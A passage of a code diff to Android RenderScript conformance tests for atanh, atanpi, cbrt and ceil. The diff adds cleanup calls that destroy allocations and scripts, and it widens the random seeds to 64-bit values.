     private void verifyResultsAtanhFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkAtanhFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x97e67ab7l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8cd2052197e67ab7l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testAtanhFloat3Float3(inV, out);
             verifyResultsAtanhFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAtanhFloat3Float3(inV, out);
             verifyResultsAtanhFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanhFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkAtanhFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8e019b95l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8cd3ce3c8e019b95l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testAtanhFloat4Float4(inV, out);
             verifyResultsAtanhFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAtanhFloat4Float4(inV, out);
             verifyResultsAtanhFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanhFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkAtanhHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd6b8f36fl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd04d16ccd6b8f36fl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testAtanhHalfHalf(inV, out);
             verifyResultsAtanhHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAtanhHalfHalf(inV, out);
             verifyResultsAtanhHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanhHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkAtanhHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x850d4ad9l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7cc8bd5e850d4ad9l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testAtanhHalf2Half2(inV, out);
             verifyResultsAtanhHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAtanhHalf2Half2(inV, out);
             verifyResultsAtanhHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanhHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkAtanhHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe4150fcdl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7cc8c7ffe4150fcdl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testAtanhHalf3Half3(inV, out);
             verifyResultsAtanhHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAtanhHalf3Half3(inV, out);
             verifyResultsAtanhHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanhHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkAtanhHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x431cd4c1l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7cc8d2a1431cd4c1l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testAtanhHalf4Half4(inV, out);
             verifyResultsAtanhHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAtanhHalf4Half4(inV, out);
             verifyResultsAtanhHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanhHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpi.java
index 36d8ae8..c3cfc17 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAtanpiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkAtanpiFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9ecfd70l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x29ed55009ecfd70l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testAtanpiFloatFloat(inV, out);
             verifyResultsAtanpiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAtanpiFloatFloat(inV, out);
             verifyResultsAtanpiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanpiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkAtanpiFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x752cbed4l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xed0d645e752cbed4l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testAtanpiFloat2Float2(inV, out);
             verifyResultsAtanpiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAtanpiFloat2Float2(inV, out);
             verifyResultsAtanpiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanpiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkAtanpiFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6b47dfb2l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xed0f2d796b47dfb2l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testAtanpiFloat3Float3(inV, out);
             verifyResultsAtanpiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAtanpiFloat3Float3(inV, out);
             verifyResultsAtanpiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanpiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkAtanpiFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x61630090l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xed10f69461630090l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testAtanpiFloat4Float4(inV, out);
             verifyResultsAtanpiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAtanpiFloat4Float4(inV, out);
             verifyResultsAtanpiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanpiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkAtanpiHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xfbae90dal, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf35efa36fbae90dal, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testAtanpiHalfHalf(inV, out);
             verifyResultsAtanpiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAtanpiHalfHalf(inV, out);
             verifyResultsAtanpiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanpiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkAtanpiHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x770b44acl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc8fc4703770b44acl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testAtanpiHalf2Half2(inV, out);
             verifyResultsAtanpiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAtanpiHalf2Half2(inV, out);
             verifyResultsAtanpiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanpiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkAtanpiHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd61309a0l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xc8fc51a4d61309a0l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testAtanpiHalf3Half3(inV, out);
             verifyResultsAtanpiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAtanpiHalf3Half3(inV, out);
             verifyResultsAtanpiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanpiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkAtanpiHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x351ace94l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc8fc5c46351ace94l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testAtanpiHalf4Half4(inV, out);
             verifyResultsAtanpiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAtanpiHalf4Half4(inV, out);
             verifyResultsAtanpiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanpiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanpiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrt.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrt.java
index cd2592b..9ec540e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrt.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrt.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestCbrtRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkCbrtFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x845561d4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x21721d33845561d4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testCbrtFloatFloat(inV, out);
             verifyResultsCbrtFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCbrtFloatFloat(inV, out);
             verifyResultsCbrtFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCbrtFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkCbrtFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x9129d518l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x910f9e5d9129d518l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testCbrtFloat2Float2(inV, out);
             verifyResultsCbrtFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCbrtFloat2Float2(inV, out);
             verifyResultsCbrtFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCbrtFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkCbrtFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8744f5f6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x911167788744f5f6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testCbrtFloat3Float3(inV, out);
             verifyResultsCbrtFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCbrtFloat3Float3(inV, out);
             verifyResultsCbrtFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCbrtFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkCbrtFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7d6016d4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x911330937d6016d4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testCbrtFloat4Float4(inV, out);
             verifyResultsCbrtFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCbrtFloat4Float4(inV, out);
             verifyResultsCbrtFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCbrtFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkCbrtHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc175945el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x678cc7fec175945el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testCbrtHalfHalf(inV, out);
             verifyResultsCbrtHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCbrtHalfHalf(inV, out);
             verifyResultsCbrtHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCbrtHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkCbrtHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf173a910l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe7cf8ee6f173a910l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testCbrtHalf2Half2(inV, out);
             verifyResultsCbrtHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCbrtHalf2Half2(inV, out);
             verifyResultsCbrtHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCbrtHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkCbrtHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x507b6e04l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe7cf9988507b6e04l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testCbrtHalf3Half3(inV, out);
             verifyResultsCbrtHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCbrtHalf3Half3(inV, out);
             verifyResultsCbrtHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCbrtHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkCbrtHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xaf8332f8l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe7cfa429af8332f8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testCbrtHalf4Half4(inV, out);
             verifyResultsCbrtHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCbrtHalf4Half4(inV, out);
             verifyResultsCbrtHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCbrtHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCbrtHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeil.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeil.java
index 437479c..637daa2 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeil.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeil.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestCeilRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkCeilFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x492bf934l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf12a662b492bf934l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testCeilFloatFloat(inV, out);
             verifyResultsCeilFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCeilFloatFloat(inV, out);
             verifyResultsCeilFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
